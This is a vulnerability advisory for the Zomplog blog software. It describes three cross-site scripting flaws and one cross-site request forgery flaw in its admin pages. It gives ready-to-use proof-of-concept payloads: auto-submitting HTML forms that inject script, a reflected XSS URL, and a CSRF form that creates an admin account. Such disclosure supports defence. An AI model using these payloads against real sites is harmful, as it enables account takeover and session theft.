Multiple Vulnerabilities in Zomplog

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Zomplog which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerabilities in Zomplog
1.1 The vulnerability exists due to input sanitation error in the "weblog_subtitle" parameter in /admin/settings.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
<form action="http://host/admin/settings.php" method="post" enctype="multipart/form-data" name="main">
<input type="hidden" name="Submit" value="Submit ››">
<input type="hidden" name="weblog_title" value="My Zomplog">
<input type="hidden" name="weblog_subtitle" value='weblog subtitle"><script>alert(document.cookie)</script>'>
<input type="hidden" name="language" value="english">
<input type="hidden" name="max" value="5">
<input type="hidden" name="scroll" value="5">
<input type="hidden" name="date" value="m d Y, G:i">
<input type="hidden" name="comments" value="1">
<input type="hidden" name="use_upload" value="1">
<input type="hidden" name="use_tinymce" value="1">
<input type="hidden" name="pages_admin" value="1">
<input type="hidden" name="max_upload" value="300000">
<input type="hidden" name="img_width" value="150">
<input type="hidden" name="img_fullwidth" value="450">
<input type="hidden" name="admin_welcome" value="Welcome to the Zomplog Dashboard!">
<input type="hidden" name="site_welcome" value="Welcome to the Zomplog Site!">
<input type="hidden" name="rss_description" value="RSS site description">
<input type="hidden" name="rss_category" value="rss_category">
<input type="hidden" name="rss_language" value="rss_language">
<input type="hidden" name="rss_email" value="rss_email">
<input type="hidden" name="rss_url" value="rss_url">
</form>
<script>
document.main.submit();
</script>
1.2 The vulnerability exists due to input sanitation error in the "about" parameter in /admin/settings_menu.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
<form action="http://host/admin/settings_menu.php" method="post" enctype="multipart/form-data" name="main">
<input type="hidden" name="Submit" value="Submit ››">
<input type="hidden" name="search" value="1">
<input type="hidden" name="teasers" value="1">
<input type="hidden" name="archive" value="1">
<input type="hidden" name="latestentries" value="1">
<input type="hidden" name="nr_entries" value="10">
<input type="hidden" name="latestcomments" value="1">
<input type="hidden" name="nr_comments" value="10">
<input type="hidden" name="categories" value="1">
<input type="hidden" name="authors" value="1">
<input type="hidden" name="pages" value="1">
<input type="hidden" name="meta" value="1">
<input type="hidden" name="login" value="1">
<input type="hidden" name="use_join" value="1">
<input type="hidden" name="powered" value="1">
<input type="hidden" name="about" value='about"><script>alert(document.cookie)</script>'>
<input type="hidden" name="customfield" value="customfield">
</form>
<script>
document.main.submit();
</script>
1.3 The vulnerability exists due to input sanitation error in the "id" parameter in /admin/editor_pages.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
http://host/admin/editor_pages.php?id=1'"><script>alert(document.cookie)</sc ript>

2) Cross-site request forgery (CSRF) in Zomplog
The vulnerability exists due to insufficient validation of the request origin in admin/users.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change the administrator`s credentials.
Exploitation example:
<form action="http://host/admin/users.php" method="post">
<input type="hidden" name="login" value="newuserlogin">
<input type="hidden" name="password" value="password">
<input type="hidden" name="password2" value="password">
<input type="hidden" name="admin" value="1">
<input type="submit" id="btn" name="submit" value="Submit ››">
</form>
<script>
document.getElementById('btn').click();
</scri pt>